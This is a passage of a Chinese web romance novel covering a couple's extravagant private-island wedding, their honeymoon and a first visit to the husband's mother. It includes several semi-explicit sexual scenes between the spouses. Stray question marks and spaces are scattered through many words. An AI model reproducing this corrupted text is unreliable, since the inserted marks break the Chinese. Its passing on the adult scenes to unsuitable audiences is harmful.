“没有取名字。”池靳予从背后环住她腰,“以后叫惜惜岛吧。” “好俗气。”南惜被他不走心的取名方式逗得笑出声来。 男人也笑,缠绵呼吸落在她耳边:“没关系,我就喜欢俗气。” 第47章 第 47 章 飞机降落在海水环绕的私人小岛上。 这里?基本?保留着大自然原始的模样, 上下五层的临海别墅,是整座小岛上唯一一座建筑。 庭院靠海的一边,有一面大大的无边泳池。 今天的庭院无比热闹。 南惜在房间里?换婚纱改妆, 早来岛上玩耍的亲戚家小孩进进出出, 围着新娘子打转。 在外面忙碌的家长抽空喊:“你们小心点?,不要弄脏婚纱!” 这婚纱虽然看起来简单, 可一针一线,都是世界顶级设计师亲手缝制的。 贵不在华丽,在量身定制,将比例勾勒得?无比完美的版型,和不用裙撑就能自然垂顺而蓬松的天价锦缎。 面料自然发出的柔润光泽, 名贵的质感,不再用任何?夺眼的装饰,也漂亮得?让人心惊。 胸前和裙摆微微的海浪形设计,高贵中带了一丝俏皮。 “姨姨好漂亮!” “妹妹,你要叫舅妈。” “舅妈, 我想看你的耳环。” “哇,这个?项链好美呀!我要妈妈给我买!” 叽叽喳喳的小孩子, 南惜竟没觉得?烦,许是今天心情好。还从随身的首饰盒里?挑了一只小圈口翡翠镯, 给池靳予的小外甥女戴上。 孩子妈妈是池靳予小姑家的表姐,过来找人, 知道孩子戴了她的翡翠镯,边教训着边要还给她。 “没事儿姐, 送给晴晴了。”南惜笑着说?。 “这怎么好意思……” “圈儿小, 我戴费劲。”南惜握着晴晴的小手,晃了晃, “买的时候就喜欢这口糖色,但圈儿不合适,现在也没那么喜欢了,这颜色挺适合小朋友的,让她戴吧。” “谢谢舅妈没?”表姐揉着女儿的头。 晴晴之前就谢过,又乖乖谢了一次。 婚礼仪式在十二点?零八分。 乐队开始演奏起浪漫舒缓的曲目。 所有人屏息望向那片紫玫瑰花墙,蜿蜒十几米,在水晶地毯两边勾勒出海浪的形状。 听说?婚礼前晚,专机空运来三十万朵海洋之歌玫瑰,一百多名工作人员彻夜忙碌,直到凌晨,才筑起这些完美梦幻的花墙。 新娘穿着简约的抹胸缎面婚纱,穿过花墙款款走来。裙摆只点?缀零星的立体花朵,没有复杂装饰,没有铺满全身的钻石,却让这片令所有人瞠目结舌的盛大花墙,也瞬间沦为她的陪衬。 花墙尽头,那人深邃如海的目光看着她,等着她,黑色西服沉稳而安静,却盖不住眸底如潮汹涌。 路不算长,对两人来说?却分外煎熬。 当?她的手终于放到他掌心,碰到那片滚烫热意,心尖眼眶也一阵久违的热意。 这场婚礼没有司仪煽情的主?持,他记得?她讨厌那样,说?在台上像两个?木偶一样尴尬。 乐队演奏的每一首曲目都是池靳予亲自挑选,比那些千篇一律的司仪串词更能烘托出气氛,和他此刻的心情。 伴着婚礼进行曲的旋律,两人挽着彼此的手,望着彼此温柔的目光,一步步走向人群,穿过人群,到达只属于他们的终点?。 阳光明媚而闪耀,在背靠大海的泳池边缘,紫藤花架投下一片零碎却温暖的阴凉。 池靳予接过话筒,亲自致辞,这是他这辈子第一次当?众讲这些话,就连公司年会,他也从不上台演讲。 但他的婚礼,他不愿任何?人代劳。 台下掌声雷动,他缓缓转身,面向他绝美动人的新娘。 温润嗓音虔诚而坚定,裹卷着浪漫的海风飘向她耳朵: “你的过去我没有参与,但你的未来,我想完完整整地拥有。” 台下突兀的两声哄叫,是男方宾客区活泼的公子哥。从没见过池靳予这样,一个?个?眼里?都冒光。 但他丝毫没有被干扰,所有目光和注意力依旧只落在他的新娘身上。 “我给你我全部的忠诚,信任,尊重,疼爱,任何?你想做的事,我都陪你一起。我会让你永远都像今天这么漂亮,幸福又浪漫。” “我只有一个?期望,与你携手并肩,不离不弃,白头到老。”他握住她的手,深深地望进她眼底,“惜惜,你愿意嫁给我吗?” 以前她不信,两个?人真的能从二十多岁好到八十多岁,可这一刻,看着男人专注热烈的目光,她几乎要相?信,他们能白头到老。 鼻尖酸意被她压住,眼眶温热也忍回去,在亲朋好友期待的眼光下,摄像机前,她保持最?明亮璀璨的笑容,点?点?头:“我愿意。” 喝彩声压过《Lover》的旋律,他们双手交握,为彼此戴上此生唯一的婚戒。 沾染了海风与阳光的唇,虔诚而温柔地吻住她。 如此光明正大,众人呼叫的场面,他不忍放过,缠绵火热地吻了很久。 直到女孩濡湿的手心在他胸口轻轻推拒,才意犹未尽地停止。 “姐夫!厉害啊!十分钟!”南禹辰不要命地起哄。 南清煜嫌他丢脸,赶紧把他拉下去。 仪式结束,南惜换了件粉紫色敬酒服。 上半身挂脖款式,做了古典立领,中间是钻石拼接的盘扣。手工刺绣花纹精致,满满的钉珠和碎钻往轻纱裙摆上蔓延。 这是今天的第四套衣服,下午送客和晚宴还各有一套。 小姐妹们为了看完她所有裙子,都留到晚上,最?后一班飞机回北京。 * 半夜起床,撑着最?好的状态累了一整天,终于送走所有宾客。 南惜穿着今天最?轻薄的一件裙子,红色吊带晚礼服,躺在泳池边的沙滩椅上看星星。 海浪声迭起,夜风很轻,除了这栋别墅,和头顶的星月,远处没有一丁点?突兀的亮光,与世隔绝的一切让她觉得?十分解压。 池靳予放好一缸热水,过来抱她去浴室。 圆形浴缸面朝大海,两个?人泡在一起,看着广袤无垠的星空,时不时抿一口红酒。 屋里?没开灯,边上燃烧的龙凤烛烘托出新婚夜的氛围。 但南惜觉得?他们今晚应该不会再做。 她实在没有力气了。 温热胸膛从背后贴上来,那双手精准寻到她酸软疲累的位置,她舒服地哼唧了声,男人满意轻笑,力道适中地帮她按摩。 南惜坐在他前面,玫瑰香味的泡沫之下,两双腿交叠,他一只手揉着她的小腿肌肉,另一只到底闲不住,肆意使坏。 她口中的声音逐渐盖过水面波动的声音。 浴缸旁边有柜子,池靳予拉开柜门,找到他想要的东西。 柔软身躯扶着他手臂,夹着淡淡哭音:“你怎么这里?也放……” “不止这里?。”他没多解释,低声哄,“乖乖,翘起来点?。” 南惜咬紧唇,面前没有能抓的东西,只好把他手臂抱在胸口,又不知给谁提供了便利。 水面下严丝合缝,玫瑰香味的泡沫不断被挤到浴缸边缘,溢出。 月亮越挂越高,漫天繁星依旧闪烁,海浪不知撞了礁石多少个?来回。 那对龙凤烛燃到底,水也洒出了半缸。 月亮缓缓行至西边,被一抹晨光淹没。 南惜醒来时,不知道已经?几点?了。海岛上除了日升月落,好像感受不到时间。 别墅里?也没有任何?钟表。 这应该是他度假的地方,隔绝尘世,也摆脱了时间的束缚,回到人类最?原始自由?的状态。 南惜从落地窗看见前院泳池里?翻动的人影,不自觉弯起了唇。 相?处越多,越觉得?这个?人特?别,似乎总有新的惊喜等待她发现。 南惜去衣帽间选了套素净的白裙,慢悠悠洗漱,下楼,在厨房吃完他热在保温板上的早餐。 到前院时,男人刚从泳池出来,抹了把脸,抖落一身水珠。 这里?没人,他只穿了条泳裤,平时掩在衬衫西服中的身材一览无遗。 即便更香艳的都看过,南惜还是仓促地挪开目光,脸颊燥热。 真的太?明显了。 穿着泳裤都那么明显。 池靳予拿了条毛巾擦身上的水,走过来,她不动声色地埋头刷手机。 直到这人似乎也察觉到什?么,把毛巾围在腰上,搂过她:“看什?么这么认真?” “昨天的新闻。”南惜忍不住瞄一眼他的八块腹肌,小心脏一晃,敛眉定了定神,“……你照片网上传疯了。” “哦。”他没有太?大反应,轻轻拨着她的头发玩。 “京城池家掌权人绝美侧颜首次曝光。” “商界大佬吊打娱乐圈第一人……祁景之要看到这条,肯定气死了。” “@恒硕娱乐,周年庆晚宴求老板上镜。” 女孩忽然收声,池靳予好整以暇地扫了眼屏幕:“怎么不继续了?” “……”南惜娇嗔地瞪他一眼,扭身要进屋。 男人从背后抱紧她,高大身影压下,头靠在她肩头,隔着她的手握住她手机。 刚运动过的呼吸格外炙热,喷洒在她本?就敏感的耳后: “耗资二十亿举办婚礼,池家掌门人宠妻无度,商业联姻甜蜜收场?” “数字不太?准确,不止二十亿。” 南惜耳朵快被他的呼吸灼烧起来,他不紧不慢,继续点?评下一条新闻: “婚礼现场热吻八分钟,新郎迫不及待……少了,十分钟。” 南惜仰起头,用胳膊肘顶了一下他。 那只胳膊很快被捏住,柔软倔强的手指攥入他指缝。 “私人海岛彻夜狂欢?”迎上她又娇又凶的眼神,池靳予意味深长地笑了下,“这条对了一半。” “是夜夜狂欢。” “……” 第48章 第 48 章 不出她所料, 还真有八卦媒体?写了他在婚车里就?迫不及待和她亲嘴的小道消息,甚至拿一张根本看?不清内容的婚车侧面照来看?图讲故事。 不过是不入流的小媒体?,并没有掀起多大风浪。 主流媒体?发布的新闻都被严格审核过, 没出现什么令人尴尬的内容, 公开的照片也没有把她拍丑。南惜都看?了一遍,放心了。 突然, 她视线凝在一条热搜上。 “京城中央5.2亩地被神秘人买下?”南惜猛吸了一口气,“我的天,5.2亩!” 这要在别的地方不算多惊人,龙湖山庄的面积就?有几十亩,她也看?过许多苏州当地三四?千平的院子。可那是寸土寸金的京城中央, 天价不说,关键是难有那么大地盘。 南惜想?起祁书艾那次传的小道消息,当时她不信,却?没想?到是真的。 真有人一家家跑,去?买那三四?条街的所有院子。 太夸张了。 “哪里来的暴发户?”她看?完那条微博, 竭力冷静下来。 池靳予递给她咖啡,表情不动声色:“能买下这些, 应该不是暴发户。” 南惜一脸认真地端着杯子望向他:“郡王府那地段,5.2亩, 京城除了你和我哥谁还有那个实力?” 池靳予清咳一声,垂眸抿咖啡。 “肯定不是祁景之, 他不傻。”南惜理?智分?析,“那里又不能开发大型商业, 除了私宅就?是小会?所, 根本没多少利润可言。就?算地段好,有稳定客源, 和这个买地成本比起来,简直就?是在烧钱玩。” 男人把杯子放到茶几上,始终没看?她眼睛。 “池靳予,你要当心了。”南惜突然凑过去?,贴近他。 向来镇定沉着的男人,目光难得抖动一下:“……怎么了?你猜到是谁了吗?” “一定是个超级有钱,富到难以想?象的人。” “……” 南惜一脸严肃,夹着隐隐的担忧:“你要当心你在京城的地位不保。” 池靳予愣了一秒。 这脑回?路实在叫他啼笑皆非。 男人侧过身,牵住她手,抬起她下巴,若有所思地望着她说:“放心,你的地位很稳固。” 南惜“噗嗤”笑了,作势要咬他手。他灵巧躲开,绕到后脖颈,往自己面前稍稍一带。 然后低下头亲她。 南惜没想?到他竟然会?开船。 小码头停着辆私人游艇,大概能容纳十人左右的船舱。里面设施齐全,冰箱里早早备了食物?和饮料。 今天海面无风,日光和煦,正?适合开着小游艇出去?玩。 南惜在甲板上靠着栏杆,喝着冰镇气泡水,无比惬意?。 到达四?面广阔的深海区,池靳予把游艇停下,从舱里拿了盘水果,坐到她旁边。 没有任何遮挡的蓝天白云,阳光下泛着粼粼波光的无垠海面,南惜靠在他怀里吃着水果,真希望这样的时光能无限延伸下去?。 以前她闲暇时爱逛商场,爱和朋友蹦迪跳舞,喝酒玩乐。 朋友在一起总觉得人越多,越热闹越好,可是跟他在一起,她希望人越少,越安静越好。 最好是现在,连一只海鱼都看?不到,仿佛整个地球上只有这片海,这艘船,她和他。 他喂她吃水果,低下头亲她,两人说一些有的没的,闲话,情话,他肆无忌惮,贴着她耳朵说一些让她脸红心跳的字眼,她羞恼嗔他,再被火热的唇封缄,被哄到头晕脑胀。 突然她手机响了响,是出门前定的闹钟,提醒她补涂防晒。 南惜回?到船舱里。 海面上没有遮挡,她把露在外面的胳膊腿每一寸都细致地抹匀,吸收,再叠加一层。 今天穿的吊带有点低,肩胛骨那块要反手去?涂,有点费劲。 舱外男人似乎察觉到什么,推门进?来:“需要帮忙吗?” “帮我涂一下背。”南惜把那管递给他。 池靳予坐到她身后,手指撩起她脖颈那块的头发,然后挤了些防晒霜,从脖颈顺着往下涂抹。 微凉的膏体?被男人掌心熨热,竟和她自己涂抹是截然不同的感受。 南惜感觉他的手更热了,也逐渐越过 肩胛骨那条线,她忍不住吸了口气,去?抓他的手。 慌慌忙忙,扑了个空,反倒被一条手臂圈着腰,整个人倒向他,被稳稳地环抱。 她的头被抬起来,两人脸颊错落着方向,他唇瓣贴着她鼻尖,而鼻尖轻蹭她嘴唇。 纤薄的裙子已形同虚设。 南惜知晓他意?图,按住他手,轻颤咬唇:“洗手……” 他安抚地轻啄一口,抱起她过去?,把她放在洗手池边缘。手臂环过她纤细腰肢,一边急切地掠夺她呼吸,和丝丝缕缕水果的香甜,一边打开水龙头,冲洗手上残留的防晒霜。 洗手液香气弥散,又随着水声逐渐淡到消失,他才终于被默许,打开那片温暖馨香,土壤润泽的小花园。 洗手池边是料理?台,简易的,台面不大,虽然南惜只坐了一小块边缘,但上半身不可避免抵在玻璃上。 池靳予用手掌垫着她的头,被她后仰的力道挤压,放松,再无意?识更重地挤压,指骨和皮肤被磨得泛红。 她极力蜷缩着莹白的脚趾,脚跟深深嵌入他后腰的骨骼缝隙。 四?下寂静,玻璃和台面隐隐规律地响着,为?两人交织的呼吸声,放肆低喃的情话在伴奏。 唇贴到耳边:“渴吗?” “嗯……” 她艰难出声,不自觉拉了长长的音调。 池靳予轻笑着抱起她,一只手托着,腰也没闲。南惜骤然用力搂紧他,眼底溢出的泪花蹭到他肩膀,又很快覆上一层牙印。 两人面对面坐在沙发,他把水端到她嘴边,缓了缓,让她喝一口。 南惜刚咽下去?,一阵海浪又扑过来。 后来喂她喝了好多次水,还是干,她像被晾在沙滩上晒着,整个人干到离谱。 男人抬着她下巴,收回?看?向两人之间的浓郁目光,沉哑嗓音钻入她齿缝:“怪不得,喝再多也流出来了……” 她是躺在游艇的沙发上回?去?的。 看?着远处海平面,层层叠叠油画一般的晚霞,没有力气起来拍照。 * “今晚我要休息。” 吃完饭,南惜无比严肃地对他说。 日日夜夜,她真的会?受不了,蜜月也没有这样的。 “好。”他意?外地很好说话,“叫声老公,今晚放过你。” 这有什么难? 她还附送了一个脸颊亲亲:“老公最好啦。” 男人掰过她脸,印在她唇上:“再叫一声。” “老公……” “以后天天叫?” “不要。” “为?什么?” “那还怎么和你谈条件?”什么都满足他,自己就?彻底没有后招了。 池靳予失笑,咬了她唇一口:“我是那种没有节制的人?” “你有吗?”南惜眨眨眼,一副你撒泡尿自己照照的讽刺神情。 男人目光变得危险:“你想?不想?在餐桌上……” “啊!”南惜忽然捂住耳朵,“我听不见听不见——” 说着,起身溜得飞快。 池靳予无奈望着她背影,宠溺地勾了勾唇,他要真想?,她以为?自己能逃掉? 有无数个瞬间他真的很想?,作为?一个自诩能克制的男人,这么多年,唯独在她身上失了控。 但她是他的妻子,不是发泄的工具。 他不能放任自己为?所欲为?。 吃完饭,南惜去?楼下影音室看?电影,他搂着她,小桌上点了根绿檀线香。 清心寡欲的干净木质调,让昏暗空间没那么暧昧,引人遐思。 可后来还是忍不住亲到一块儿。 池靳予给自己找了充足的借口,怨她片子没选好,长达八分?钟的亲密镜头,画面唯美,声声交叠带着回?音,在狭小空间里不停勾缠他心头的火,这叫一个新婚燕尔血气方刚的男人怎么忍? 他摁着她在沙发上来了一回?,南惜哭哭啼啼,用脚拼命地踢他后腰:“我要跟你分?房睡!” 殊不知这话多激将人,她被转过去?,很快连哭都没力气哭。 “分?房睡?”沙发突兀地一声响,压过女人几乎碎掉的嗓音,“bb是认真的吗?” 她整个人软下去?,又被捞起来紧紧抱住,后背贴着他胸膛,跟着片尾曲的节奏打颤:“不是……” “不是就?好。”发狠的嗓音和力道像惩罚,让她记住某些话带来的严重后果。 但他没有真的索求无度。 把她抱进?浴室,帮她洗了澡,他便没有回?房间,而是去?楼下泳池游了一个多小时。 回?来她还没睡,躺在被窝里刷手机。 池靳予俯身开了床头灯:“关灯玩手机太伤眼睛。” 南惜不看?他,噘嘴哼了一声。 男人笑着揉揉她脑袋,转身去?浴室冲澡。 她虽然挂脸生气,可当人香喷喷暖呼呼地钻进?被窝,搂过她腰时,还是乖顺地偎进?他怀里。 “老婆辛苦了。”他低头亲在她发心,“明天钓鱼给你吃,想?吃烤的还是红烧?清蒸?炸鱼块?” 大半夜的,胃里馋虫被他勾起来,脸也挂不住了,嘴角上翘:“我要吃炸鱼块,炸得酥酥的,不用吐鱼刺那种。” “好。”他抬手关灯,脸埋进?她头发里,“睡吧,晚安。” 南惜不得不承认,每次做过之后,睡觉都格外香甜。 第二天醒来,从头到脚,身心舒爽。 池靳予起床早,依旧不在房间,床头柜上压着张纸条。 【夫人早安。 饭在餐厅,我在后院。】 南惜忍不住笑出声,拿起旁边的笔,在纸上画了一个可爱的噘嘴表情。 吃完早餐,她便推门进?了后院。 后院一面朝海,一面朝森林,院内种满了各色玫瑰花。 男人穿一套黑色休闲装,在靠海的那面,并没有发现她过来,十分?专注地往一根粗圆木料上打钉子。 旁边是已经固定好一半的秋千支架。 昨天游艇上她随口说了句,如果能一边听海一边荡秋千就?好了。所以一大早,他亲自来这里做秋千。 南惜眼眶温热,站在门口安静地看?。阳光洒在他微微汗湿的刘海,整张脸和脖颈都泛着水光。 每次她随口提起的话,不经意?看?过的东西,他似乎都会?记在心里,帮她做到。 她不禁矫情地想?,如果娶的是别人,他也会?这样吗? 那种可能性想?得她心尖像掐碎了一只柠檬,汁水无孔不入地渗进?去?,酸得要命。 在她见惯的浮华圈子里,池靳予显得太过真实。 会?送她二十多亿的婚礼,也会?像一个普通丈夫一样,亲手做饭,亲手为?她打一架秋千。 这种没有晚宴,没有高定,没有万众瞩目,挥金如土的日子,平静淡然,与世隔绝,以前做梦都不会?想?过的生活,她竟希望能长长久久地延续下去?。 不知何时,池靳予终于发现她。把支架的最后一根木料固定完毕,在旁边水池洗了手,过来。 他身上还沾着木屑,没抱她,只摸她的头:“早饭吃了吗?” 南惜笑得眉眼弯弯:“红豆包好吃。” 他轻轻捏了下她脸颊:“等?会?儿去?给你做鱼。” “不着急,我刚吃呢。”南惜仰头亲他下巴。 “秋千上想?要什么花?紫藤?月季?” 她惊讶睁眼:“还有花吗?” 男人笑了笑:“现在种,明年就?能爬起来。” “那一定很漂亮。”南惜脑海里想?象着画面,顾不上他衣服上的木屑,靠到他怀里,“你好厉害哦,会?做秋千,还会?种花。” “我还会?做别的。”呼吸爬到她颈侧,滚烫,“也会?种别的。” 那里有他昨晚留下的小草莓。 南惜羞恼地捶他胸口:“大白天你正?经点。” “嗯。”男人亲了亲她额头,“你坐着晒会?儿太阳。” 屋檐下放着把藤椅,南惜坐在里面晒太阳,玩手机,他继续为?秋千忙碌。 吃完午餐,她窝在后院阳光房里睡了一觉,醒来依旧天光大亮。 看?手机,居然四?点半了。 秋千已经圆满竣工,还铺上了软垫,池靳予正?在给玫瑰花浇水。 她悄悄拿手机拍了张背影,忘关声音,男人目光被引过来。 “睡醒了?”他放下浇花的水枪,笑着走近她,“晚餐想?吃什么?我去?做。” “酸菜鱼火锅。” “好。” 南惜跟去?厨房,看?他准备食材,娴熟地处理?一只活蹦乱跳的大青鱼。 过去?二十多年,她从来没觉得一日三餐,睡觉发呆也并不无聊。 南惜侧靠在料理?台上,问:“我可以把你照片发在朋友圈吗?” 这方面,她一直挺有边界感。所以当初领证官宣,她只发了结婚证壳,没有拍有照片的内页。 但后来池靳予朋友圈发了合照,她竟也没觉得冒犯。 生活照意?义特殊,她想?着还是问一问。 “可以。”男人答应得利索,“记得说这是你老公。” 南惜失笑,手指戳戳他胳膊:“谁不知道你是我老公?” 池靳予顺势朝她低下头:“叫一声?” “……” “好吧,没关系,晚上会?让你叫。” 她直接给了他小腿一脚。 小岛的夜晚极致静谧,不停歇的只有海浪奔涌与风吹树叶的声音,偶尔传来一两声海鸟清鸣,像一种突然的惊喜。 南惜坐在秋千上,面朝大海,月色星光笼了一身。 “是你想?要的感觉吗?”男人站在后面,帮她轻轻地摇着。 “嗯。”她闭上眼,享受耳畔拂过的风声,带着大海的气息,和丛林玫瑰的香气融合到一起,“池靳予,我好喜欢。” 秋千缓缓停下,没有再摇。 再次睁眼时,她被身后俯下的男人噙住嘴唇。 绵软香甜的呼吸纠缠到一起,海风花鸟都沦为?背景和陪衬。 整个世界,仿佛只剩下他的霸道与温柔。 “要不要在这里试试?”他捧着她的脸,低声问。 南惜不敢置信地睁大眼睛。 池靳予坐到秋千上,把她抱在身前,摁进?怀里,用呼吸和掌温驱散她的不习惯和紧张。 “没事的。”他贴着她耳边宽慰。 南惜着急地按住他手:“会?不会?被看?见……” “这座岛这片海都是我的,谁能看?见?”他反握住她,牵过来,让她感受到自己,“放心,我的鱼不会?出去?乱说。” “……” 南惜听见窸窣的响声,是他从裤兜里摸出一个小盒子。 她咬了咬唇,懊恼自己又被摆一道。 原来这男人早有预谋。 海浪与树叶声中,秋千架轻轻地响动起来。 练过舞的骨骼柔软,腰肢折到不可思议的角度,她双脚搭在秋千靠背,拖鞋在脚尖挂着,良久被甩开一只,落到草地上。另一只继续悠悠地晃。 “还要不要荡秋千?”男人哑着声问她。 蜷缩的脚趾短暂松开,另一只拖鞋旋转着,砸到草地,低软嗓音打着抽:“不要……了。” “专为?你做的,不喜欢吗?”男人脚踩着草地,把秋千座椅往后蹬了一大截,她感觉到略微分?开,咬住唇。耳朵被熨得发烫:“那我会?很伤心。” 话音未落,他双脚离地,秋千从高处落下。 荡到最低点时,南惜快哭出来,一边捶打他,一边发出颤抖的声音:“老公……” 她在求他。 “乖,再叫。” “老公。” 借着单摆运动和重力的作用,他以逸待劳:“喜欢和老公荡秋千吗?” 南惜咬着他肩膀,说不出一个完整的字来。 他再蹬一脚草坪,把秋千扬的更高,任她在怀里又颤又哭。 月光粼粼,照在草尖新生的露珠上。 那里刚下过一场酣畅淋漓的雨。 …… 翌日,南惜睡到快中午才醒来。 院内依稀有捶打的声音,不知道他在做什么。 想?起昨晚,南惜把旁边那只枕头拿过来,用力暴揍了几下。 花样百出的臭男人。 可随即又觉得挺香,是他身上熟悉的味道,软软的,抱在怀里很安神。 南惜暗骂自己没出息,把枕头扔回?原处。 下楼吃过早餐,发现他在后院的阳光房里,坐在一方矮桌前。 南惜打开门,闻到一股烧焦的味道。 桌旁炉子里燃着炭火,桌上木板依稀刻着许多小字,他正?把一张铜片夹起来,放到炭火上方烘烤。 “做什么呢?”南惜好奇地走过去?。 等?看?清那些木刻的字,瞬间脑袋嗡嗡。 这是……婚书? “打成铜版,保存的时间更久一些。”他耐心等?铜片烤软,“也更有意?义。” 南惜终于找回?自己的声音,看?着那块浮雕清晰的木板,每一个字,每一处花纹,就?连手印的形状也和那张婚书一模一样:“……你刻的吗?” “嗯。”他笑了笑,“这两天难得有闲,能静下心来做点事儿。” 旁边还有张蒲团,南惜忍下鼻尖酸意?,挨着他坐下。 刻了一上午字,他身上都是干净而浓厚的木香,她不禁靠近了些。 池靳予索性把右手绕过她肩,抱在怀里。 她小幅度仰起头,身子不敢动:“我这样会?影响你吗?” “不影响。”软化?的铜片覆在木板上,他拿着一把皮锤,从头至尾小心敲打,把浮雕的字体?轮廓印上铜片。 两人调整了一下姿势,她完全坐到他怀里,聚精会?神地看?。 这样的过程很解压。 直到铜片临摹出大致轮廓,他换把小锤子,安静的片刻,南惜忍不住嘟哝出声: “池靳予,你还有什么不会??” 他低下头,呼吸掠过脸颊,落到她唇上:“你想?要的,我都可以会?。” “那你可以会?生孩子吗?”南惜眨了下眼,“我怕疼,怕身材走样,而且听说生了孩子会?……” “这个我没办法。”男人放下手里的工具,轻声打断她。 南惜哼了一声。 她只是刚好想?到,顺嘴一说,知道这件事无解。 她挺喜欢小孩,现在不急,但未来一定会?要的。哪怕不结婚,她也曾想?自己生一个小女孩,像玩芭比娃娃一样打扮得漂漂亮亮。 可现下有一个男人,会?和她一起承担生育这件事,她没法不在乎此人的态度。 池靳予握她的手,被她躲开,还犟了犟身子,想?从他怀里出来。 “惜惜。”他感受到她的脾气,抱紧她,低声,“我还没讲完。” 她挣扎的力气稍稍软下。 “如果我说我没那么喜欢小孩,怕你会?觉得我冷血,但这件事我确实没执念。” 南惜眼皮颤了颤,不可置信地凝视他。 男人表情真诚,没一丝哄骗的痕迹:“我说过要不要小孩,什么时候要,都由你来决定,不是为?了让你答应结婚而骗你的。” “如果你也不喜欢,那我们就?不要,两个人过一辈子不是更自在?我没有非得传宗接代?的想?法,如果一个孩子出生不被父母欢迎,那他的出生就?是个悲剧。” “但如果你喜欢,我试着和你一起爱她(他)。” “至于你害怕的那些。”他牢牢握着她的手,每一个字都清晰而坚定,“放心,我倾尽所有,也会?让你少吃一些苦。” 南惜看?着两人交握的手,吸了吸鼻子。 这是她想?要的态度。 她从来不排斥生一个她喜欢的小孩,只担心遇上一个不负责任的孩子父亲。 “池靳予,我喜欢小朋友。”她半撒娇半认真地盯着他眼睛,“先说好了,你有个心理?准备。” “好。”他笑着捏了捏她的手。 “不许嫌弃我怀孕发脾气,嫌弃我长胖,嫌我事多,我说什么你都要照做。而且要注意?你的态度,不准让我有一点点点点的不舒服,否则我要回?娘家,告诉我爸妈还有我哥——” 他低头亲她:“好。” 南惜顺势捧住他脸,一字一顿无比严肃:“也不许不喜欢我的宝宝。” 男人低笑一声,侧头衔住她噘起的唇,温柔纠正?:“是我们的,bb。” 南惜心尖一颤,走神间被他灵巧探入。 不久前喝过的桂花奶香,轻易被掠走一半。 第49章 第 49 章 两人在岛上待了将近半月, 快到?母亲节,才意犹未尽地返回?京城。 落地第一件事就是去4s店取车。 池靳予的库里南,终于换了套定制的紫罗兰色内饰, 特殊材料的座椅垫, 不仅舒适透气,还?防水防污。 4S店经理一本正经地介绍, 并说防水性能是池先生特别交代?时,南惜悄不做声地耳尖发烫。 座椅垫防水……干脆点她大名得了,这脸面?不如不留。 送她回?家后,池靳予还?要回?公司处理工作,晚上和一个?重要的合作商吃饭。 果然, 一回?到?北京这个?繁华的大笼子,人就要被迫忙碌起来。 南惜也收到?几场晚宴和朋友聚会的邀请。听说她度蜜月回?来,一个?个?都按捺不住。 以前都是她朋友,和想巴结祁景之的关系户,现在还?多了池靳予那边的。 她问他这些人怎么处理, 池靳予回?了个?电话?,详细告诉她每个?人所牵涉的利益关系。 最后除了一场值得出席的慈善晚宴, 剩下的她全推掉。 至于母亲节礼物?,他让她去藏宝阁挑一样, 以两人名义一起送。 可南惜嫌弃那些天价古董不漂亮不洋气,说自己买, 到?时让他蹭个?名头。 第一次有人嫌弃他那些宝贝,池靳予失笑:“那就辛苦夫人了。” 南惜突然想到?什么, 欲言又止, 但?还?是挂了电话?。 刚想问要不要给他妈妈也买礼物?,可她还?没正式见过婆婆。 他那么忙, 不一定多久才安排见面?。 但?在给祁玥买下那款包时,她还?是让柜姐留了只?不同颜色的,也包装成精致的礼盒。 * 南惜前脚答应祁玥,母亲节回?龙湖吃晚饭,后脚池靳予便问她,那天要不要去见他妈妈。 时间尴尬地撞到?,两人一商量,决定中?午去他妈妈家,晚上回?龙湖。 第一次见婆婆,也是婚礼后第一次出现在家人面?前,南惜想和他搭套情侣装。结果翻遍他衣柜,除了深色系衬衫和西服,就是白衬衫。 南惜不想穿深色,也不想穿白色,她看好一条鸭蛋青色连衣裙,是婚礼那次南映雪从港岛带来的礼物?。 “你?什么时候有空?”她还?是穿了那条连衣裙,从衣帽间出来,鼓着腮帮子问他。 池靳予发现她不是很开心,笑着捏捏她下巴:“怎么了?” “给你?买几身衣服。”南惜没和他玩闹,时间不早了,匆匆把他往衣帽间推。 过了会儿,男人声音从门内传出来:“我穿什么?” 南惜嘟着嘴把口红盖盖上:“随便。” 反正怎么穿都是乌鸦色,她一个?人独美好了。 池靳予挑了件藏青色衬衫,没有搭外套和领带,比起工作日简单随便很多。 南惜虽然嫌弃他衣服少,色调单一,但?也不得不承认,这家伙就算披麻袋也好看。更何况是剪裁考究,量身定做的衬衫。 往跟前一站,美颜暴击,什么小情绪都烟消云散了。 库里南的新内饰她很喜欢,温柔内敛的紫色,主驾驶和副驾驶也多了一对安全带护肩套,一白一黑的情侣款小熊。 第三只?小熊放在副驾,是一个?棕色的玩偶抱枕。 南惜抱在怀里,软乎乎的,和她抱过的所有抱枕感?觉都不一样,她转过头问:“这个?是什么做的?好舒服。” 不像海绵也不像乳胶,很特别的触感?。 池靳予笑了笑:“还?记得你?的床垫吗?” 南惜恍然大悟。 “和你?的床垫一样,特别定制。” 他目光深邃地望着前方,嗓音却带着格外温柔的意味,尤其是“特别定制”这四?个?字。 南惜心尖颤颤的,清甜掠过,像裹了蜜。嘴角也压不下,凑上去往他脸颊亲了一口。 “开车呢,别闹。”话?虽如此,他却也捉住她手,拿到?唇边,呼吸温柔地印下。 南惜眨了眨眼:“你?这样不会被扣分吗?” “不会。”那只?手伸过来,放到?她大腿往里摩挲,“这样也许会。” “……”抓流氓啊。 南惜把他扔回?去,软声呵斥:“双手握方向?盘。” “遵命,夫人。”男人好整以暇地勾着唇角,手懒懒搭上。 没多久,车开进一片别墅区,联排花园洋房,开发商统一设计的外观,每户看起来都差不多。 池靳予停在其中一扇不起眼的院门前,从储物?格里拿了把遥控钥匙,按下按钮。 电动车库门打?开,里面的感应灯同时亮了。 南惜看到一辆熟悉的浅紫色smart,愣住。 等池靳予停好车,她才回?过神来,艰涩出声:“这是……你妈妈家?” “嗯。”男人笑着解开安全带,把车钥匙递给她,“拿着,我去后面?取东西。” 南惜带给婆婆的包和其他礼物?都放在后备箱,池靳予一手拎了,另一只?手要牵她,始料未及地被躲开。 他侧眼,看见她埋着头一言不发。 “生气了?”他转而去搂她腰。 这次她没有挣开,倒想听听他怎么解释。 池靳予搂着她进电梯,摁下一楼:“你?先见了她,还?姐妹相称那么开心,我不想扫你?的兴。后来一直忙婚礼,你?也没再提过,我更没机会说了。” “借口。”南惜瓮声嘟哝,“你?就是心虚。” “是。”他没有否认,“拖得越久越心虚,越怕你?生气,也越找不到?一个?合适的契机来坦白。想着无论如何,今天你?见了就会知道。” 顿了顿,他郑重道歉:“对不起,我应该一早告诉你?的。” 南惜哼了一声:“我接受你?的道歉,但?还?是生气。” “没关系。”池靳予握住她手,嗓音温柔包裹住她,“你?生气是应该的。” 